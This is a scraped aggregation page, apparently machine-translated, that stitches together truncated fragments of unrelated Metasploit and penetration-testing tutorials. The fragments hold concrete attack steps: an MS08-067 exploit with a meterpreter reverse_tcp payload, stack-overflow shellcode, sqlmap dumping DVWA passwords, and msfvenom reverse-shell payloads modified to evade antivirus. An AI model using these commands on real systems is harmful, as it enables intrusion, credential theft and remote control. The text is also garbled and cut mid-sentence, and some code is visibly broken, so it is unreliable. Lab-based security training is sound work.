We first go to this directory to see the contents of the Database.yml file:It's the information we see.Then open Metasploit, run the db_connect instruction link database. The format is:Db_connect User name: password @127.0.0.1: Port/Database nameIn my case, that is:Db_connect MSF: Password @127.0.0.1:5432/msfAfter that, the database is connected.Below is the Nmap scan and store the results:The-ox instruction is to store nmap results in a place of deve
Build penetration test environment
Kali attack aircraft
WinXP SP1 drone
Start Metasploit
Windows RPC-related vulnerabilities
Internal-provided vulnerability attacks
drone WinXP SP1 network configuration to view the NAT network segment of a virtual machine
Configure IP addresses for WinXP SP1 drone
Perform vulnerability Utilization
Post -exploit:meterpreter>
Drone's information
Process Situation
View 2008 Process migration to explorer.exe P
This paper describes in detail the Python method of remote call Metasploit, which has a good reference value for Python learning. The implementation methods are as follows:
(1) Installing the Python Msgpack class library, the data serialization standard in the MSF official documentation is the reference to Msgpack.
root@kali:~# apt-get Install python-setuptools
root@kali:~# Easy_install
(2) Create Createdb_sql.txt:
Create databa
The attack is done under BT5 and the target program is running on an Ubuntu virtual machine.First, you need to figure out what a stack overflow attack is, read morehttp://blog.csdn.net/cnctloveyu/article/details/4236212This article is very clear, but the specific example is not very accurate, a little bit wrong.Here is an example of a modified executable that I have verified.Shell.c1#include 2 3 CharShellcode[] =4 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 5 "\x89\xf3\x8d
-new_fd 1\n"); - Close (NEW_FD); theExit0); the } theprintf"close-new_fd 2\n"); the Close (NEW_FD); - } theprintf"close-sockfd\n"); the Close (SOCKFD); the}This core is the recvastring function we are concerned with, which contains an obvious stack overflow vulnerability. We look specifically at:1 voidRecvastring (intnew_fd)2 {3UnsignedCharbuff[ -];4 intI=0;5printf"sp=0x%x,addr=0x%x bytes.\n", get_sp (),buff);6 intNumBytes = recv (New_fd,buff,1024x768,0);7 if(numbytes==-1
The methods involved in this article can only be tested on authorized machines.First, I suggest you check the usage of meterpreter on the Internet. Read this article to understand why msf is used for permission elevation (because msf has a meterpreter which is very powerful ^_^)Metasploit has two tools: msfpayload and msfencode. These tools not only generate exe-type backdoors, but also generate webshells of the web script type. By generating webshell
prompt you to enter the path.650) this.width=650; "src=" http://s4.51cto.com/wyfs02/M02/8B/5A/wKiom1hKNYDgJ-DVAACbgOjOXCQ699.jpg "style=" float: none; "title=" 2.jpg "alt=" Wkiom1hknydgj-dvaacbgojoxcq699.jpg "/>1.6 Enter the command "show options" in the terminal to see the related items that need to be set, and "yes" to indicate the parameters that must be filled in.1.7 Enter the command "set RHOST 192.168.1.3" in the terminal to set the IP address of the target host.650) this.width=650; "sr
The Metasploit software in the BT5 penetration tool used today, bt5 is a well-known hacker tool that contains many hacking software and security evaluation tools, although it is a hacker software, but it is also a helper in Security Detection. It can help us detect many vulnerabilities, mainly depending on how you use them. Because it is a hacker software, we hope that you can obtain authorization from others before conducting security detection to av
Topological environment: 2 virtual machines, one Kali, another XP with ms08067 vulnerability or 2000 or 2003 machinesMsfconsole entering the MSF consoleEnter Search ms0-067Find the appropriate moduleUse EXPLOIT/WINDOWS/SMB/MS08_067_NETAPI using the appropriate moduleSet PAYLOAD windows/meterpreter/reverse_tcp setting bounce ConnectionShow Options View setup optionsSet RHOST 192.168.80.XX setting up a remote hostSet Lhost 192.168.80.YY setting Local HostShow targets view attack target system type
]+-----------+| Guestbook | | Users |+-----------+Probe the list of fields in users and discover that there is a password, haha! Get the contents out: # sqlmap-u " http://www.dvssc.com/dvwa/ vulnerabilities/sqli/?id=bbsubmit=submit# "--cookie= ' security=low; Phpsessid=ov3jmigsemo6d47367co53qq24 "-D dvwa--tables-t users--columns# sqlmap -u " http:// www.dvssc.com/dvwa/vulnerabilities/sqli/?id=bbSubmit=Submit# --cookie= security=low; Phpsessid=ov3jmigsemo6d47367co53qq24 &quo
Metasploit+python generate Kill-free EXE ever the Antivirus1 Generate a bounce MSF python script under Kali, with the following command:Msfvenom-p windows/meterpreter/reverse_tcp lport=443 lhost=192.1681. 102 One-f py-o /opt/bk.py2. Copy the bk.py to the WINDOW32 system and modify it as follows (the red callout here is to modify the added code, other unchanged)From ctypes Import * Import ctypesbuf=""buf+="\xbb\x7a\x62\x0a\x22\xdb\xc9\xd9\x74\x24\x
===========================Command Description------- -----------ifconfig display interfaces ipconfig display interfaces PORTFWD Forward a local port to a re Mote Service Route View and modify the routing Tablestdapi:system Commands=======================Command Description------- -----------Execute execute a command getuid Get the user that the server isRunning asPS List Running processes Shell Drop into a system command shell SysInfo Gets infor Mation about the remote system, such
Basic commandsImport Scan ResultsDb_import/path/file. NessusView existing IP information in the databaseMSF > Db_hosts-c address,svcs,vulns (Note: VULNS is vulnerability vulnerability abbreviation)Displays a list of detailed vulnerabilitiesMSF > Db_vulnsThe first step:Connecting to a databaseMSF > Db_connect postgres:[email protected] Database ip/msf3Step Two:Load NessusStep Three:MSF > Nessus_connect nessus Account: Password @ip: port (default = 8834)MSF > LoadView Plugin HelpMSF > Nessus_helpA
Http://www.myhack58.com/Article/html/3/8/2012/36261.htm
XSSF Brief Introduction
The Cross-site Scripting Framework (XSSF) is a security tool that makes it very easy to take advantage of cross-site scripting (XSS) vulnerabilities. The main purpose of the XSSF project is to demonstrate the actual harm of XSS.
Now, let's talk about my process.
First download the XSSF in BT5
Then go to its folder to see, there is a readme, open to see what needs to be done next. Copy all files to MSF3.
A
A command injection vulnerability is to have a web app execute a command that was not previously available, which could be an operating system command or a custom script program. In the "Metasploit Penetration Test Devil Training Camp" book, the author of the WordPress plug-in Zingiri the existence of a command injection vulnerability analysis, but the cause of the vulnerability of the explanation is not particularly clear. One, the vulnerability trig
Vulnerability version:
Microsoft Windows XP Professional Microsoft Windows XP Home Microsoft Windows Server 2003 Standard Edition Microsoft Windo WS-Server 2003 Enterprise Edition Microsoft Windows Server 2003 Datacenter Edition Microsoft Windows 7
Vulnerability Description:
The Bugtraq id:52354 CVE id:cve-2012-0152 Remote Desktop Protocol (RDP, remotely desktop Protocol) is a multi-channel (multi-channel) protocol that allows the user (client or "local computer" ) connected to a computer tha
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.